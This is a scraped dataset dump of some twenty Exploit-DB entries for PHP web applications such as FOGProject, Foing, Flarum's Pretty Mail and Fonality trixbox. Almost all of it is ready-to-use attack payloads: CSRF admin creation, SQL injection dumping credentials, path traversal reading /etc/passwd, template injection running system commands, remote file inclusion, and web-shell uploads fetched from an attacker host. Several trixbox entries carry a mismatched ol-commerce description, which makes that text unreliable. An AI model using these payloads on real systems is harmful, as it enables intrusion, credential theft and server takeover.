deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41007
Description: FMyLife Clone Script (Pro Edition) 1.1 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2017-01-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Add Admin Exploit (Add/Edit/Delete/ Category, Admin Vs...)
# Google Dork: FMyLife Clone Script
# Date:10.01.2017
# Vendor Homepage: http://alstrasoft.com/fmylife-pro.htm
# Script Name: FMyLife Clone Script (Pro Edition)
# Script Version: 1.1
# Script Buy Now: http://www.hotscripts.com/listing/fmylife-clone-script-pro-edition/   
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
#Exploit :
<html>
<body>
<h2>Add an Administrator</h2>
<form action="http://localhost/[PATH]/admin/" method="post">
 <div id="add-admin-form">
  <input type="hidden" name="action" value="add-admin" />
  <label for="username">Username:</label>
  <input type="text" id="username" name="admin-username" value="" />
  <div class="spacer"></div>
  <label for="password">Password:</label>
  <input type="password" id="password" name="admin-password" value="" />
  <div class="spacer"></div>
  <input type="image" src="add-administrator.png" name="add-admin" id="add-admin" value="Add Administrator" />
 </div>
</form>
</body>
</html>
# # # # #
Exploit-DB #2506
Description: Foafgen 0.3 - 'redir.php' Local Source Disclosure
Type: webapps
Platform: php
Date: 2006-10-10
Author: DarkFig

Exploit:
#
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: Foafgen v0.3
# Download....: http://www.toxi.co.uk/foafgen/foafgen_v0.3.0.zip
# Poc.........: http://victim.com/redir.php?foaf=file.php
# Vuln.code...: Line 4, readfile($_GET['foaf']);

# milw0rm.com [2006-10-10]
Exploit-DB #26132
Description: Fobuc Guestbook 0.9 - SQL Injection
Type: webapps
Platform: php
Date: 2013-06-11
Author: CWH Underground

Exploit:
# Exploit Title   : Fobuc Guestbook 0.9 SQL Injection
# Date            : 11 June 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://sourceforge.net/projects/fobuc/
# Software Link   : http://jaist.dl.sourceforge.net/project/fobuc/0.9/Release/FOBUC_0.9.zip
# Version         : 0.9
# Tested on       : Window and Linux
  
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /        
  / XXXXXX /
 (________(          
  `------'
  
##############################
VULNERABILITY: SQL Injection 
##############################
  
/index.php (LINE: 146-155)
  
-----------------------------------------------------------------------------
LINE 146-149:
 
$category_filter = $_GET['category'];
$query = "SELECT * FROM comments WHERE approved = 1 AND category = '$category_filter' AND responding = 0 ORDER BY id LIMIT $start, $displayed_entries";
$filter = 'category';
$total_query = "SELECT * FROM comments WHERE approved = 1 AND category = '$category_filter' AND responding = 0";
-----------------------------------------------------------------------------
 
-----------------------------------------------------------------------------
LINE 155:
 
$total_comments = mysql_num_rows(mysql_query($total_query));
-----------------------------------------------------------------------------
      
  
#####################################################
DESCRIPTION FOR SQL INJECTION
#####################################################
  
An attacker might execute arbitrary SQL commands on the database server with this vulnerability.
User tainted data is used when creating the database query that will be executed on the database management system (DBMS).
An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system
depending on the query, DBMS and configuration.
 
POC:
 
http://target/fobuc/index.php?category=1%27%20and%201%20div%200%20union%20select%201,concat%28user%28%29,0x3a3a,database%28%29,0x3a3a,version%28%29%29,3,4,5,6,7,8,9,10--+
  
  
################################################################################################################
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Exploit-DB #4377
Description: Focus/SIS 1.0/2.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-08
Author: ThE TiGeR

Exploit:
#Focus/SIS =>1.0&2.2 Remote file inclusion

#Download v1.0 : http://unix.freshmeat.net/redir/focus_sis/64492/url_zip/Focus_v1.0.zip

#         v2.2 : http://www.focus-sis.org/download.php?modfunc=file&version=2.2
============================================================================================================
#Exploit V1.0 :

#http://victime.com/Focus_v1.0_path/modules/Discipline/CategoryBreakdownTime.php?FocusPath= shell.txt?
============================================================================================================
#Exploit v 2.2 :

#http://victime.com/Focus_v2.2_path/modules/Discipline/CategoryBreakdownTime.php?staticpath= shell.txt?

#http://victime.com/Focus_v2.2_path/modules/Discipline/StudentFieldBreakdown.php?staticpath=shell.txt?

#Greetz & Thx : Str0ke

#Discovered by ThE TiGeR 

# milw0rm.com [2007-09-08]
Exploit-DB #25088
Description: Foe CMS 1.6.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-04-29
Author: flux77

Exploit:
Title: Foe CMS 1.6.5 SQL Injection Vulnerability 
Vendor: http://foecms.com/
Download: http://code.google.com/p/foecms/downloads/list
Versions: 1.6.5
Platform: linux, windows
Bug: SQL Injection | Cross Site Scripting



-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Credits


===========
1) Introduction
===========

Gestor de categorias (Como phpbb3)
Pasar a php orientado a objetos
account_meta para firma, ocupacion, avatar, etc (como wordpress) permite añadir y quitar campos a gusto
Permisos segun rangos para TODO
Pagina del UCP para cambiar los permisos de acceso (amigos y eso)


======
2) Bug
======

SQL Injection
http://victim/[path]/item.php?ei=[SQLi]

Cross Site Scripting
http://victim/[path]/item.php?ei=[XSS]


=====
3)proof of concept
=====

Example SQLi
http://victim/[path]/item.php?ei=-1 union select 1,username,pass_sha,1,1,1,1,1,1 from foe_account--

Example XSS
http://victim/[path]/item.php?ei=<script>alert(1)</script>


=====
4)Credits
=====

flux77
Contact : 0xflux77 at gmail.com
Exploit-DB #51947
Description: FoF Pretty Mail 1.1.2 - Local File Inclusion (LFI)
Type: webapps
Platform: php
Date: 2024-04-02
Author: Chokri Hammedi

Exploit:
Exploit Title: FoF Pretty Mail 1.1.2 - Local File Inclusion (LFI)
Date: 03/28/2024
Exploit Author: Chokri Hammedi
Vendor Homepage: https://flarum.org/
Software Link: https://github.com/FriendsOfFlarum/pretty-mail
Version: 1.1.2
Tested on: Windows XP
CVE: N/A
Description:

The FoF Pretty Mail extension for Flarum is vulnerable to Local File Inclusion (LFI) due to the unsafe handling of file paths in the email template. An attacker with administrative access can exploit this vulnerability to include sensitive files from the server's file system in the email content, potentially leading to information disclosure.

Steps to Reproduce:

Log in as an administrator on the Flarum forum.

Navigate to the FoF Pretty Mail extension settings.

Edit the email default template and insert the following payload at the end of the template:

{{ include('/etc/passwd') }}

Save the changes to the email template.

Trigger any action that sends an email, such as user registration or password reset.

The recipient of the email will see the contents of the included file (in this case, /etc/passwd) in the email content.
Exploit-DB #51948
Description: FoF Pretty Mail 1.1.2 - Server Side Template Injection (SSTI)
Type: webapps
Platform: php
Date: 2024-04-02
Author: Chokri Hammedi

Exploit:
Exploit Title: FoF Pretty Mail 1.1.2 - Server Side Template Injection (SSTI)
Date: 03/28/2024
Exploit Author: Chokri Hammedi
Vendor Homepage: https://flarum.org/
Software Link: https://github.com/FriendsOfFlarum/pretty-mail
Version: 1.1.2
Tested on: Windows XP
CVE: N/A
Description:

The FoF Pretty Mail extension for Flarum is vulnerable to Server-Side
Template Injection (SSTI) due to the unsafe handling of template variables.
An attacker with administrative access can inject malicious code into the
email template, leading to arbitrary code execution on the server.

Steps to Reproduce:

- Log in as an administrator on the Flarum forum.
- Navigate to the FoF Pretty Mail extension settings.
- Edit the email default template and insert the following payload:

{{ 7*7 }}
{{ system('id') }}
{{ system('echo "Take The Rose"') }}

- Save the changes to the email template.
- Trigger any action that sends an email, such as user registration or password reset.
- The recipient of the email will see the result of the injected expressions (e.g., "49" for {{ 7*7 }}, the output of the id command for {{ system('id') }}, and the output of the echo "Take The Rose" command for {{ system('echo"Take The Rose"') }}) in the email content.
Exploit-DB #5784
Description: FOG Forum 0.8.1 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-06-11
Author: CWH Underground

Exploit:
=======================================================
 FOG Forum 0.8.1 Local File Inclusion Vulnerabilities
=======================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 10 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : FOG Forum - PHP Board Engine
 VERSION     : 0.8.1
 VENDOR      : http://fog.daviveno.org
 DOWNLOAD    : http://fog.daviveno.org/streamearth/go_dl.php?download=1
#####################################################

---Local File Inclusion Exploit (POST Method)---

---Description---

[+]Use Web Proxy (Web Scarab, Burb Proxy, etc...) to intercept POST Method and edit in request data.
[+]All LFI Exploits were Vulnerablilities with POST Method

##############################################
Vulnerable File/Path:

[+]http://[Target]/[Path]/index.php

##############################################

---LFI Exploits (Use WebScarab to Edit request data)---

Send Request Data:

fog_skin=default&fog_lang=../../../../../../../../boot.ini%00
fog_skin=../../../../../../../../boot.ini%00&fog_lang=francais
fog_pseudo=../../../../../../../../boot.ini%00&fog_[CREDENTIAL_REDACTED].com&fog_cook=0&fog_action=0&fog_userid=cwhmail@cwh.com&fog_path=http://localhost/forum/index.php
fog_posted=../../../../../../../../boot.ini%00&fog_pseudo=cwhmail@cwh.com&fog_[CREDENTIAL_REDACTED].com&fog_cook=0
fog_posted=1&fog_pseudo=../../../../../../../../boot.ini%00&fog_[CREDENTIAL_REDACTED].com&fog_cook=0
fog_posted=1&fog_pseudo=cwhmail@cwh.com&fog_password=../../../../../../../../boot.ini%00&fog_cook=0
fog_posted=1&fog_pseudo=cwhmail@cwh.com&fog_[CREDENTIAL_REDACTED].com&fog_cook=../../../../../../../../boot.ini%00

Note: This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

      You can change boot.ini to /etc/passwd%00 in linux OS.

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-11]
Exploit-DB #49811
Description: FOGProject 1.5.9 - File Upload RCE (Authenticated)
Type: webapps
Platform: php
Date: 2021-04-29
Author: sml

Exploit:
# Exploit Title: FOGProject 1.5.9 - File Upload RCE (Authenticated)
# Date: 2021-04-28
# Exploit Author: sml@lacashita.com
# Vendor Homepage: https://fogproject.org
# Software Link: https://github.com/FOGProject/fogproject/archive/1.5.9.zip
# Tested on: Debian 10

On the Attacker Machine:

1) Create an empty 10Mb file.
dd if=/dev/zero of=myshell bs=10485760 count=1

2) Add your PHP code to the end of the file created in the step 1.
echo '<?php $cmd=$_GET["cmd"]; system($cmd); ?>' >> myshell

3) Put the file "myshell" accessible through HTTP.
$ cp myshell /var/www/html

4) Encode the URL to get "myshell" file to base64 (Replacing Attacker IP).
$ echo "http://ATTACKER_IP/myshell" | base64
aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=

5) Visit 
http://VICTIM_IP/fog/management/index.php?node=about&sub=kernel&file=<YOUR_MYSHELL_URL_HERE>=&arch=arm64
Example:
http://192.168.1.120/fog/management/index.php?node=about&sub=kernel&file=aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=&arch=arm64

6) Appears a textbox, change the Kernel Name (bzImage32) to myshell.php 
and click on Install.

7) Visit http://VICTIM_IP/fog/service/ipxe/myshell.php?cmd=hostname
Exploit-DB #1778
Description: Foing 0.7.0 - 'phpBB' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-12
Author: Kurdish Security

Exploit:
# Kurdish Security Advisory
# Original Advisory : http://kurdishsecurity.blogspot.com/2006/05/kurdish-security-7-foing-remote-file.html
# Foing Remote File Include Vulnerability [PHPBB] :}
# "Ey Tarih ya sana basarilar atfedecegiz ya da seni yasanmamis sayacagiz ." Abdullah Ocalan
# STOP THE MASSACRE IN THE TURKEY! FREEDOM FOR KURDISTAN !
# Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com & botan@linuxmail.org
# Risk : High
# Class : Remote
# Script : Foing
# Script Website : http://foing.sourceforge.net/
# Version : Foing 0.7.0
                 0.6.0
                 0.5.0
                 0.4.0
                 0.3.0
                 0.2.0
# w0rkz : "Powered by foing"

# Thanks : B3g0k, Nistiman, Flot, Netqurd, Darki, Azad, ColdHackers, Kurdistan Cyber Army etc..

--------------------------------------------------------------------------------

# cmd shell example:
# cmd shell variable: ($_GET[cmd]);

Vulnerable code :

Get along at directory config.php

did you meet of ..

<?php

define('FOING_INSTALLED', true);

$phpbb_root_path = '../';
$foing_prefix = $table_prefix;

?>

Proof Of Concept :
http://www.r0xed.com/[foingpath]/index.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/song.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/faq.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/list.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/gen_m3u.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/playlist.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a

# milw0rm.com [2006-05-12]
Exploit-DB #28012
Description: Foing 0.x - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-12
Author: Darkfire

Exploit:
source: https://www.securityfocus.com/bid/18392/info

Foing is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[foing_path]/manage_songs.php?foing_root_path=http://www.example2.com/
Exploit-DB #41285
Description: Fome SMS Portal 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Fome SMS Portal (Advanced) - Bulk SMS Reseller  v2.0 Script - SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://ynetinteractive.com/
# Software Buy: https://codecanyon.net/item/fome-sms-portal-advanced-bulk-sms-reseller-script/14241587
# Demo: http://demo.ynetinteractive.com/fomesmsportal/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/Compose.php?draftID=[SQL]
# http://localhost/[PATH]/Compose.php?smsgID=[SQL]
# Etc...
# # # # #
Exploit-DB #39349
Description: Fonality trixbox - 'asterisk_info.php' Directory Traversal
Type: webapps
Platform: php
Date: 2014-07-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/68719/info
     
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
     
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

Http://www.example.com/maint/modules/asterisk_info/asterisk_info.php?lang=../../../../../../../../etc/passwd%00
Exploit-DB #39351
Description: Fonality trixbox - 'endpointcfg.php' Directory Traversal
Type: webapps
Platform: php
Date: 2014-07-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/68719/info
       
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
       
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
       
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

Http://www.example.com/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00
Exploit-DB #39347
Description: Fonality trixbox - 'endpoint_generic.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-07-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/68720/info

Trixbox is prone to the following security vulnerabilities:

1. An SQL-injection vulnerability
2. A cross-site scripting vulnerability
3. Multiple local file-include vulnerabilities
4. A remote code-execution vulnerability

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, to steal cookie-based authentication credentials, exploit latent vulnerabilities in the underlying database or perform certain unauthorized actions and gain access to the affected application. 

Http://www.example.com/maint/modules/endpointcfg/endpoint_generic.php?action=Submit&mac=1' and 1=2 union select 1,2,3,4,5,6-- -
Exploit-DB #39348
Description: Fonality trixbox - 'index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2014-07-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/68719/info
    
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
    
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

Http://www.example.com/maint/modules/home/index.php?lang=../../../../../../../../etc/passwd%00
Exploit-DB #39352
Description: Fonality trixbox - 'index.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2014-07-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/68719/info
        
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
        
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
        
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

Http://www.example.com/maint/modules/home/index.php?lang=MF;echo "<?php
system(\$_GET['cmd']);?> \$Greats 2 MY=\"Love:D">shell.php

Your Shell

Http://www.example.com/maint/modules/home/shell.php?cmd=id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk) $Greats 2
MY="Love:D
Exploit-DB #39350
Description: Fonality trixbox - 'repo.php' Directory Traversal
Type: webapps
Platform: php
Date: 2014-07-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/68719/info
      
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
      
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

Http://www.example.com/maint/modules/repo/repo.php?lang=../../../../../../../../etc/passwd%00